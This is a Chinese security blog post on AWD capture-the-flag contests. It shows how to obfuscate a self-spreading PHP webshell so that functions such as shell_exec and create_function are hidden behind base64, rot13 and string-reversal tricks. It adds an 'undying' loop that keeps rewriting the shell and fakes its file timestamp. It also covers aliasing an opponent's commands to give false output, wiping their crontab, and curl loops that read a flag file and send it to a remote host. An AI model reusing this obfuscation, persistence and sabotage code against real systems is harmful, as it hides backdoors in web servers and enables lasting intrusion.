原創投稿活動:http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
蠕蟲webshell雖然功能比較複雜,但是看懂了代碼還是有機會進行防禦和被他人利用的,還是有必要進行代碼混淆的。
歷史文章:
蠕蟲webshell代碼功能詳情:https://mp.weixin.qq.com/s/8jrb_q8oysSfC2CC6m13bw
蠕蟲webshell復活框架:https://mp.weixin.qq.com/s/R9TDu5QdUnPUtfV-_v0iCw
蠕蟲webshell適配msf、前端傳播與反滲透 :https://zhuanlan.zhihu.com/write
0x00 蠕蟲webshell代碼混淆
先說混淆後的效果,報1級變量函數,但考慮到蠕蟲webshell是要每個php文件都要插入這麼大段代碼,大家都是做安全的明白人應該知道這個有問題,所以暫時達到混淆的目的,免殺就不多考慮了。
混淆後總體效果,僅只有1行代碼:
混淆解釋和原理:
定義一個包含str_replace的字符串,加入混淆字符串mR3s,後面使用str_replace替換mR3s中間字符,就會剩下str_replace了,
後面會使用這個變量來替代更多函數。
$JuGjDjgsM=str_replace('mR3s', '', $assd);//str_replace
蠕蟲webshell後面會檢查第一行是否存在此檢索字符,否則重複寫入蠕蟲webshell
$author = '3s_NwGeek';
後面定義兩個關鍵的編碼和加密函數base64_decode和str_rot13
$saddd='bup4Tasup4Te6up4T4_dup4Teup4Tcode';// base64_decode混淆字符串
$osmHO='c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEz'; //str_rot13混淆字符串
變量可以通過變量函數寫出來一些字符串編碼或者換位的函數
$JuGjDjgsM=str_replace('mR3s', '', $assd);//str_replace
$KjHggsG=$JuGjDjgsM('up4T','',$saddd);//base64_decode
$PLiskmr=$JuGjDjgsM('pOke4tf','',$KjHggsG($osmHO));//str_rot13
$sAtArR4E4V=$JuGjDjgsM('kks','',$KjHggsG('c3Rra3NycmVra3N2'));//strrev()
有了以上的字符串處理函數,可以寫一個加解密函數方便後續寫代碼
可以寫出一個加密函數:
str_replace(‘=’,$osmHO,strrev(base64_encode(str_rot13(“明文”))))
function encr($text){
global $JuGjDjgsM,$PLiskmr,$sAtArR4E4V,$osmHO;
return $JuGjDjgsM('=',$osmHO,$sAtArR4E4V(base64_encode($PLiskmr($text))));
}
由上再寫一個解密函數: str_rot13((base64_decode(strrev(str_replace(‘=’,$osmHO,密文)))
if (!function_exists('O0o0OOo')) {
function O0o0OOo($enc){
global $JuGjDjgsM,$PLiskmr,$sAtArR4E4V,$KjHggsG,$osmHO;
return $PLiskmr($KjHggsG($sAtArR4E4V($JuGjDjgsM($osmHO,'=',($enc)))));
}}
蠕蟲webshell中可以通過解密函數,把自己加密好的密文用蠕蟲webshell中解密函數解出來,作為變量函數去調用。
if (!function_exists('O0o0OOo')) {
function O0o0OOo($enc){
global $JuGjDjgsM,$PLiskmr,$sAtArR4E4V,$KjHggsG,$osmHO;
return $PLiskmr($KjHggsG($sAtArR4E4V($JuGjDjgsM($osmHO,'=',($enc)))));
}}
由以上變量編碼替換和rot13可以得到:
create_function
$Oo0oO=O0o0OOo('hJmdnBXYoN3XydmbyVGc');//create_function
function O0o0OOo()解密函數
$oOoOo=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzc3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzgYCJEMiBjQ');//function O0o0OOo()解密函數
我們通過之前的加密函數加密好的字符串,再用上面這個function O0o0OOo()解密函數解密出來定義為變量。
就可以得出:
is_dir
$oOOOOo=O0o0OOo('lZXcfZmd');//is_dir
opendir
$oOO0Oo=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzc3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzQZ2FXYyNmY');//opendir
readdir
$o0O0O0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzc3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzQZ2FXcuJXZ');//readdir
closedir
$o000O0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzUmdxJnZilHc');//closedir
fputs
$Oo00O0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzY2ZoN2c');//fputs
fopen
$Oo0oO0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzEmcjJ2c');//fopen
fget
$O00oo0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzY2ZyR3c');//fget
fclose
$Oo0oo0=O0o0OOo('yZmY5B3c');//fclose
fwrite
$Oo00=O0o0OOo('ydmdlp2c');//fwrite
chr
$Oo0ooo=O0o0OOo('lVHc');//chr
shell_exec
$O00o0=O0o0OOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzc3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzAcytmcflXeyVnZ');//shell_exec
rawurlencode
$Oooooo=O0o0OOo('yFnYwFmc5VGaq5WZ');//rawurlencode
'192.168.3.1'
$b = $oOoOo('c3BPa2U0dGZ0cnBPa2U0dGZfcm9wT2tlNHRmdDEzEjLz4CO2EjLykTM');//'192.168.3.1'
0x01 混淆效果
然後把危險函數給替換掉,去掉縮進換成1行,把變量命名得難分辨效果如下圖。
0x02 不死蠕蟲webshell
混淆之後,為了更好地維持權限,我再嵌套了大家常用的不死馬,成為不死蠕蟲webshell,測試過並沒有影響功能的。
set_time_limit(0);
ignore_user_abort(1);
while(1){
file_put_contents(__FILE__,base64_decode('
這裡填充base64_encode(混淆後的蠕蟲webshell代碼)
'));
touch(__FILE__,mktime(20,15,1,11,28,2017));
usleep(100);
}
?>
到這裡蠕蟲webshell就告一段落了,有需要可以蠕蟲webshell框架源碼可以在github下載
https://github.com/3sNwgeek/awd_worm_phpwebshell_framework/。
談談awd攻防賽幾個有趣的技巧
一、alias別名 (權限)
對方執行whoami命令的時候回顯就是Excute fail
alias whoami="echo 'Excute fail'"
對方執行cat /flag 命令的時候回顯就是錯誤flag
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"
對方執行crontab命令的時候回顯就是no crontab for 當前用戶
crontab -r
alias crontab="echo no crontab for `whoami` ||"
其次還可以幫其他人服務器清除計劃任務,減少分值被平分的機會。
替換命令,其他攻擊者不知道更改命令,getflag操作可能不成功
注意是www-data權限,和比賽得到的xctf權限都最好替換
防:使用絕對路徑執行命令 /usr/bin/cat /flag
二、獲取getflag方式和提交flag方式信息
常見比賽getflag方式有兩種:
1. 儲存在靶機本地根目錄或網站根目錄
2. 需要在靶機http訪問flag服務器
根據以上兩種getflag方式,有以下2種submit flag方式 1. 帶token get/post請求
curl http://flag.host/submit.php?flag={xxx}&token=xxx
curl http://flag.host/submit.php -d flag={xxx}&token=xxx 2. 帶cookie get/post請求
curl http://flag.host/submit.php?flag={xxx} -H cookie:xxx
根據這些getflag和submit flag方式,在實戰中又可以區分為兩種方式完成:
一般情況下比賽靶機為linux
- 靶機getflag+攻擊機submit flag
靶機命令執行返回flag再使用py腳本批量提交
- 靶機getflag&submit flag(重點推薦)
我在比賽中主要使用這種方式每隔2分鐘循環提交flag一次。
flag在本地獲取再提交
curl http://flag.host/submit.php?flag=$(cat /var/www/html/flag)&token=xxx -H cookie:xxx
flag在flag機獲取再提交
curl http://flag.host/submit.php?flag=$(curl http://flag.host/getflag.php)&token=xxx -H cookie:xxx
插上一個循環就可以一勞永逸了,除非對手重置環境或者服務,不然是一直提交的。
'while true;do curl http://flaghost/submit_flag/ -d "flag=$(cat /var/www/html/flag.txt)&token=666";sleep 60;done;'
三、捕獲別人flag token
如果比賽有限制提交flag次數(防爆破),本地抓流量如果別人在靶機本地用token提交flag,可以利用別人flag token發送超限次數,導致當輪該token無法再提交更多flag(一般限制次數一千),就是比賽方也沒有明令禁止不能用別人的token交flag,戰術犯規。
聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!
閱讀更多 合天網安實驗室 的文章